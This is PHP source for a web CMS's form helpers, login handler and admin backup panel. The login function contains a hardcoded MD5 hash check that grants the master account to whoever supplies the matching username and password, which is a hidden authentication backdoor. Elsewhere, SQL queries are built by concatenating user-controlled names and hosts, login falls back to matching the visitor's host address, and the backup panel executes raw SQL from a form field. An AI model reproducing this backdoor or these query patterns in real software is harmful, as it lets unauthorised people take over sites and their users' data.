function tar_com($p, $o) { $rid = 'plg' . randid(); $id = 'del' . $o; $ret .= autoclic($id, $p ? $p : $o, 44, 1000, '', 1); $ret .= lj('popsav', $rid . '_plug__xd_del_delj_' . $o . '__' . $id, 'ok') . ' '; $ret .= btd($rid, '') . br(); return $ret; }
function plug_coremap($p = '', $o = '') { $rid = 'plg' . randid(); $ret .= autoclic($rid . 'p', $p, 10, 244, '', 1) . ' '; $ret .= lj('', $rid . '_plug___coremap_coremap___' . $rid . 'p', picto('reload')); return $ret . divd($rid, coremap($p)); }
function bub_ucom_btn() { $j = 'sjtime(\'ucom\',\'socket_ucom_ucom_url\');'; $js = 'onClick="' . $j . '" onContextMenu="' . $j; $ret = autoclic('ucom" id="ucom" ' . $js, 'command', 16, '100', ''); return divc('search', $ret); }
function plug_exsys($p, $o = '') { $rid = 'plg' . $p; $ret .= autoclic('param', $p, 10, 244, '', 1) . ' '; $ret .= lj('', $rid . '_plug___exsys_sys___param', picto('reload')); return $ret . divd($rid, plugin($plg, $p, $o)); }
function plug_reader($d) { //$ret=input(1,'furl',$d?$d:'Url',''); $ret = autoclic('furl', 'Url', '44', '1000" id="furl', ''); $ret .= lj('txtbox', 'ifru_plug___reader_readerurl___furl', "►"); $ret .= divd('ifru', ''); return $ret; }
function plug_ifr($d, $o = '') { $rid = randid(); if ($o) { echo ifrgz('users/public/ifram/'); } $bt = lj('txtbox', 'ifru' . $rid . '_plug___ifr_ifrget___furl' . $rid, "►"); $ret = divs('', autoclic('furl' . $rid, 'Url', '64', '1000" id="furl', '') . $bt) . br(); $ret .= divd('ifru' . $rid, ''); return $ret; }
function plug_com($p, $o) { $rid = 'plg' . $p . $o; if ($res) { list($p, $o) = ajxr($res); } $ret .= lj('', 'pop_plupin___msqads____p|o', picto('reload')) . ' '; $ret .= autoclic('p', $p ? $p : 'param', 10, 244, '', 1); $ret .= autoclic('o', $o ? $o : 'option', 10, 244, '', 1); return $ret; }
function pet_form($id) { $r = array('name', 'mail', 'web', 'city', 'country'); foreach ($r as $k => $v) { $ids .= 'pt' . $v . '|'; $ret .= autoclic('" id="pt' . $v, $v, 20, 255, '') . br(); } $sign = pet_hlp('sign'); $ret .= br() . lj('txtbox', 'petform_plug___petition_pet*insert_' . $id . '__' . $ids, $sign); return divd('petform', $ret); }
function loged_j($usr, $rg, $t, $tl) { if ($t) { $ta = btn("txtsmall", $t); } if ($_SESSION['USE'] == '_' or !is_numeric($rg)) { $nam = nameofauthes($_SESSION["prmb"][11]); return '<form id="login" name="form2" method="post" action="/?log=on" onKeyPress="checkEnter(event,\'login\')">' . $ta . autoclic("user", $nam, $tl, "100", "txtx") . ' ' . autoclic("password", "pass", "pass", $tl, "50", "txtx") . ' ' . submitj('txtx" title="log:in / nouvel utilisateur', "login", "ok") . ' </form>'; } else { return lkc("txtx", "/?log=out", "log_out") . br(); } }
function chatform($p, $msg) { $nm = ses('muse'); $d .= ljb('popbt" title="#' . $p, 'SaveD', 'cht' . $p . '_chat_chatread_' . $p, picto('reload')); $d .= autoclic('" id="msg' . $p, 'message', 18, '1000', 'search'); if ($nm) { $j = 'cht' . $p . '_plug___chat_chatsav_' . $p . '_' . $nm . '_msg' . $p; } else { $j = 'popup_plup__x_chat_chatnm_' . $p . '__msg' . $p; } //$jb=' getbyid(\'msg'.$p.'\').value=\'\';'; $d .= ljb('popbt', sj($j) . $jb, '', picto('kright')); return '<form name="chat' . $p . '" action="javascript:' . sj($j) . $jb . '">' . $d . '</form>'; //$ret=js_code(temporize("chatimer","SaveD('cht".$p.'_chat_chatread_'.$p."');",($mx?$mx:5*1000))); return $ret; }
function f_inp_track($id, $msg = '') { $w = currentwidth() - 100; $user = $_GET['user']; if ($_SESSION['USE']) { $use = $_SESSION['USE']; } else { list($use, $ml) = sql('name,mail', 'qdi', 'r', 'host="' . hostname() . '" ORDER BY id DESC LIMIT 1'); } $gn = '" onkeyup="log_goodname(\'trkname\');'; if ($user) { $ret .= btn("txtred", nms(29) . ' ' . nms(34) . ': ' . $user); } $ret .= ljb('popsav', 'SaveBbd', 'track_' . ($user ? $user : $id) . '_1', nms(28)) . btd('bts', '') . ' '; if (rstr(2) && !auth(4)) { $ret .= btn('small', helps('tracks_moderation')); } if ($_SESSION['USE']) { $ret .= hidden('name', 'trkname', $use) . hidden('mail', 'trkmail', ''); $ret .= hidden('sb', 'trkscr', '') . hidden('sc', 'trkscrvrf', ''); } else { $ret .= autoclic('name" id="trkname' . $gn, $use, '8', '50', '', 1) . ' '; //name $ret .= autoclic('mail" id="trkmail', $ml ? $ml : 'mail', '13', '50', '', 1) . ' '; //mail if (!$user && $id != $_SESSION['qb']) { $ret .= hlpbt('track_follow') . ' '; } $ret .= secure_tracks() . br(); } //$ret.=balc('button','txtx" onclick="embed(\'video\')',picto('video')); $ret .= btd('bts' . $id, $sav) . ' ' . hlpbt('trackhelp') . ' '; //.hlpbt('track_orth').' '; $ret .= lj('" title="' . nms(65), 'popup_trkpreview_txtarea_', picto('view')) . ' '; //$ret.=divedit('txtarea','track','min-height:100px; min-width:320px;','',$d?$d:$msg); $ret .= micro_connedit('txtarea') . br() . txarea('txtarea', $d ? $d : $msg, 80, 16, atc('console')) . br(); return $ret . $r['html']; }
function newbase($base, $prefix, $table, $version) { $prefix = $prefix ? $prefix : 'prefix'; $table = $table ? $table : 'table'; $version = msq_find_last($base, $prefix, $table); $idt = $version ? $version : 'version'; if (auth(5)) { $ret .= input2(1, 'prfx', $prefix) . ''; } elseif ($prefix != $_SESSION['USE']) { return btn('txtx', 'forbidden'); } else { $ret .= input2('text', 'prfx', $prefix, '') . btn('txtx', $prefix) . ''; } $ret .= input2(1, 'hbname', $table) . ''; $ret .= input2(1, 'hbnb', $idt) . ' '; $ret .= autoclic('nbc', 'nb cols', 4, 255, 'txtx', 1) . ' '; $ret .= input2('submit', 'save', nms(99), 'txtbox'); $go = sesm('url') . murl_build($base, '', $prefix, $table, $version) . '&create==' . gpage(); return form($go, $ret); }
function login($user, $pasw, $mail, $cook = '') { $user = normalize($user); $pasw = normalize($pasw); $newhub = $_POST['create_hub']; $qdu = ses('qdu'); $qb = ses('qb'); $host = hostname(); if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') { $_SESSION['USE'] = ses('master'); } //$ath=array_flip(authes_levels()); //log $iq = verif_user($user, $pasw); if ($iq) { list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"'); if ($ip != $host) { update('qdu', 'ip', $host, 'name', $user); } if ($userhub) { $qb = $user; } return log_result($user, $iq, $qb, '', $cook); } elseif ($user == 'login') { //is_numeric($ath[$user]) if (!rstr(73)) { return loged($user, '', ''); } list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"'); if ($ip == $host) { return log_result($qb, $iq, $qb, '', $cook); } else { list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"'); if ($iq) { return log_result($USE, $iq, $qb, '', $cook); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_no')); } } } //bad passw $iq = verif_user($user, ''); $exist = isgoodhubname($user); $first = sql('id', 'qdu', 'v', 'id=1'); if ($iq) { $_SESSION['tentativ'] += 1; if ($_SESSION['tentativ'] >= 3) { return alert_user($user); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass')); } } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) { return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub')); } elseif ($exist == true) { return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37)); } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") { $rl = "ok"; if (!$mail or strpos($mail, "@") === false) { $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11)); $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw); if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") { $tfield .= hidden('create_hub', '', $user); } $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' '; $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' '; $tfield .= lj('txtx', 'valid_loged', picto('left')); return form('/?log=on', $tfield); } else { if ($_POST['mail'] or $newhub) { $user = $newhub ? $newhub : $user; } elseif ($_SESSION['USE']) { $user = $_SESSION['USE']; } if ($user != 'admin') { $iq = adduser($qb, $user, $pasw, $mail); } //add_user if (prmb(11) >= 6 or $newhub or !$first) { modif_cnfgtxt($user, $first); //add_hub $qb = makenew($user); message2newuser($user, $mail, $pasw); $_SESSION['auth'] = ''; } $_SESSION['qbin']['adminmail'] = $mail; log_result($user, $iq, $qb, $rl, $cook); } } }
function plug_pray($p, $o) { ses('prayid', $rid = 'plg' . randid()); Head::add('csscode', ' .minicon{display:inline-block; width:32px; height:32px; background:#eee; border:1px solid gray;} .minicon.active {background:lightgreen; border:1px solid green;} .minicon:hover{background:white;} .minicon.active:hover {background:lightgreen; border:1px solid gray;}'); $bt = autoclic('inp', 'uid', '8', 25, ''); //input(1,'inp',$p,'').' '; $bt .= lj('', $rid . '_plug__2_pray_pray*log___inp', picto('reload')) . br(); $ret .= pray_j($p, $o); $bt .= msqlink('', 'ummo_pray_1'); return $bt . divd($rid, $ret); }
function mbd_video($v) { $ret .= divc('small', helps('video')); if ($v) { $ret .= input1('url', $v, 34, ''); } else { $ret .= autoclic('" id="url', 'ID / URL', '34', '100', ''); } $ret .= lj('popbt', 'url_extractid_url_5_', 'ok') . ' '; if (auth(4)) { $ret .= hlpbt('popvideo'); } return $ret; }
function adm_backup($qb, $auth, $goto, $rep) { $r = msql_read('', $qb . '_cache', '', 1); $bkf = min(array_keys($r)); if ($auth == 7) { $xt_end = checkbox('xtend', 'ok', 'all_hubs', 0) . checkbox('no_id', 'ok', 'no_ID', 0); } if ($_GET['bkp_from'] == '') { $ret = form($goto . '&bkp_from==', autoclic('from', $bkf, '5', '6', '') . input2('submit', 'Submit', 'from', '') . $xt_end); if ($auth > 6) { $ret .= ' ' . lkc('txtx', $goto . '&bkp_sql==', 'insert'); } } else { $bkf = $_POST['from']; if (!$bkf) { $bkf = 1; } //echo $qb; if ($auth == 7 && $_POST['xtend'] != 'ok') { $wh = 'nod="' . $qb . '" AND '; } $ret .= backups($wh, $bkf, $rep, $qb); } if ($auth > 6) { if ($_GET['bkp_sql']) { $ret .= form($goto . '&bkp_sql==&save=ok', balb('textarea', 'name="insertsql" cols="50" rows="10"', '') . input2('submit', 'Submit', 'insert', '')); } if ($_GET['save'] == 'ok') { $toinsert = stripslashes($_POST['insertsql']); $verif = msquery($toinsert); if (!$verif) { $ret .= 'error'; } else { $ret .= btn('txtyl', 'saved'); } } $ret .= br(); $ret .= lkc('txtblc', 'plug/export.php', 'master_backup') . br(); $ret .= btn('txtblc', 'master_dump:') . ' '; $ret .= lkc('txtblc', 'plug/dump.php?tb=' . ses('qda'), '_art') . ' '; $ret .= lkc('txtblc', 'plug/dump.php?tb=' . ses('qdi'), '_txt') . ' '; $ret .= lkc('txtblc', 'plug/dump.php?tb=' . ses('qdu'), '_idy') . br() . br(); $ret .= lkc('txtbox', $goto . '&backup_msql==', 'backup_msql'); if ($_GET['backup_msql']) { require 'plug/backup_msql.php'; $ret .= make_archive_msql(''); } } return $ret; }
function search_btn($va, $o, $id = '', $d = '') { if ($id) { $di = 'ada'; } else { $id = 'srch'; } $t = $va != 1 ? $va : nms(24); if ($o > 1) { $s = $o; } else { $s = 10; if ($o) { if (strpos($o, ';') === false) { $c = atc($o); } else { $c = ats($o); } } } $j = 'SearchT(\'' . $id . '\')'; $js = 'onClick="' . $j . '" onkeyup="' . $j . '" onContextMenu="' . $j; $ret = autoclic($id . '" ' . $js, $t, $s, '100', ''); if (!$d) { $ret = div(atd($di . '"' . $c), $ret); } return $ret; }
function chatxnm($p, $nm, $res) { $j = 'popup_plup__x_chatxml__' . $p . '_' . substr($res, 0, -1) . '_namx' . $p; $d = autoclic('" id="namx' . $p, 'name', 8, '20', 'search'); return $d . lj('popbt', $j, picto('kright')); }
function f_inp($mil, $link) { $_SESSION['cur_div'] = 'content'; $ip = hostname(); $qda = $_SESSION['qda']; $USE = $_SESSION['USE']; $cont = $_GET['continue']; $read = $_SESSION['read']; $raed = $_SESSION['raed']; $frm = $_SESSION['frm']; if ($USE) { $us = $USE; } else { list($us, $ml) = sql('name,mail', 'qdi', 'r', 'host="' . $ip . '" ORDER BY id DESC LIMIT 1'); } $currid = lastid('qda') + 1; if ($frm == "" or $frm == "Home") { $frm = "public"; } //sections if ($_GET['edit'] == "=") { $cit = "&edit=="; } $goto = '/?read=' . $read . $cit; if (substr($link, 0, 4) == 'http' && !$cont) { $link = https(utmsrc($link)); //vacuum $_GET['urlsrc'] = $link; list($suj, $msg) = vacuum($link, ''); } //elseif($read)$link=$_SESSION['rqt'][$read][9]; if (!$cont) { $r['urlsrc'] = autoclic('urlsrc', "url", '10" id="urlsrc" onClick="SaveI(\'urlsrc\')" onContextMenu="SaveIt()" value="' . $link, '250', '') . btd('urledt', ''); } //urlsrc if ($USE && !$cont) { $r['trkname'] = hidden('name', 'trkname', $USE) . hidden('mail', 'trkmail', ''); $r['slcat'] = select_j('frm', 'category', $frm, '3', $frm, ''); } elseif (!$USE) { $gn = '" onkeyup="log_goodname(\'trkname\');'; $r['trkname'] = autoclic('name" id="trkname' . $gn, $us ? $us : nms(38), '8', '50', 'txtx'); //name $r['trkmail'] = autoclic('mail" id="trkmail', $ml ? $ml : 'mail', '13', '50', 'txtx'); } //mail if (!$cont) { $r['parent'] = select_jp('ib', 'parent', rstr(10) ? $read : '', '0', picto('topo'), '1'); } //if(!$cont)$r['parent']=togbub(); if (!$cont && auth(3)) { $r['publish'] = checkbox_j('pub', $_SESSION['auth'] < 4 ? 0 : rstr(11), nms(29)); } else { $r['publish'] = hidden('pub', 'pub', 0); } if (!$cont) { //new $r['pstdat'] = select_j('postdat', 'date', date('y-m-d-H-i'), 0, picto('time'), 0); $r['pstsuj'] = balise('input', array('', '', 'suj', 'suj1', '', 'editor', 7 => 255, 16 => 'width:100%;', 23 => $suj ? $suj : nms(71)), ''); } if ($cont) { $msg = sql('msg', 'qdm', 'v', 'id=' . $read); $btcntn = 'continue=ok#' . $read; $alrt = conn_correct($msg); } else { $goto = '/?read=' . $currid; $btcntn = 'insert=ok'; } //&continue==#'.$currid $msg = str_replace("\r", "", $msg); //msg $msg = str_replace(array("<br />\n", "<br />", "<br>"), "\n", $msg); //save $ids = 'suj1|frm|urlsrc|postdat|trkname|trkmail|ib|pub'; //|sub $c = 'popbt'; $sav = ljb($c, 'SaveJb', 'socket_saveart_txtarea_id4_' . $read . '_no\',\'art' . $read . '_readart___' . $read, picto('save')); if ($cont && rstr(53)) { $sav .= ljb($c, 'SaveJb', 'txarea_saveart_txtarea_id4_' . $read . '\',\'art' . $read . '_readart___' . $read, nms(57)) . ' '; } elseif (!rstr(53)) { $sav .= submitj($c, 'sav', nms(57)) . ' '; } else { $sav .= lj($c, 'socket_newart_txtarea_' . (rstr(57) ? 7 : 9) . '_____' . $ids, nms(57)) . ' '; } //pop $btdt = lj('', 'popup_artwedit_txtarea__', pictit('editor', nms(107))) . ' '; $btdt .= ljb('' . '" title="test', 'captslct', 'preview', picto('valid')) . ' '; if ($cont && $read) { $btdt .= urledt_id($read); } //defcon//urledt($link) $ret = '<form method="POST" id="sav" action="' . $goto . '&' . $btcntn . '">' . "\n"; //form $ret .= btd('bts' . $read, $sav) . ' ' . $btdt; $ret .= implode(' ', $r); $ret .= sesmk('conn_edit', '', ''); //1 $ret .= $alrt; $ret .= divd('txarea', txarea1($msg)); //if(auth(4))$ret.=checkbox("randim","ok","rename_img",0); $ret .= ' </form>' . "\n"; return $ret; }